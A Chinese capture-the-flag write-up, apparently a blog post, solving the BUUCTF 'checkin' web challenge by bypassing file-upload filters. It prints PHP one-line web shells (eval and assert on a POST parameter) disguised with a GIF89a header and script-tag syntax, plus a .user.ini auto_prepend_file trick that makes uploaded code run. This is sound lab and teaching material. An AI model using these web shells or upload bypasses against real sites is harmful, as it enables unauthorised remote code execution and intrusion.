buuctf WEB checkin1

这题考的文件上传
经典一句话先试试,回显文件格式不对,把php文件后缀改成jpg格式
第二次回显,显示文件中包含<?,那就把一句话,改成如下形式

<script language='php'>eval($_POST['niaho']);</script>

成功绕过<?匹配,回显不是图片格式,图片头绕过GIF89a
成功上传,下面就是如何上传php文件,或者执行php代码了
经过检测,对于文件类型进行了严格的过滤,改后缀肯定不行
经过检测,可以上传.user.ini文件(指纹检测下来是lnmp环境),相当于apache里面的.htaccess文件,里面有一个auto_prepend_file属性
相当于在上传目录中所有的php文件在运行时都会提前以代码的格式添加指定文件中的内容
那么,就可以实现php代码运行了
上传一句话也行,或者上传两次,第一次确定flag文件位置,第二次读取文件也行
以一句话为例,新建一个.user.ini文件

GIF89a
auto_prepend_file=shell.txt

新建shell.txt,上传,内容:

GIF89a
<script language='php'>assert($_POST['nihao']);</script> //assert执行相对比eval轻松,eval会检测代码格式,所以在eval失效的情况下,可以考虑用assert代替

然后访问上传路径中的index.php,即可拿到flag
参考视频链接:https://www.bilibili.com/video/BV1LQ4y167b9/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值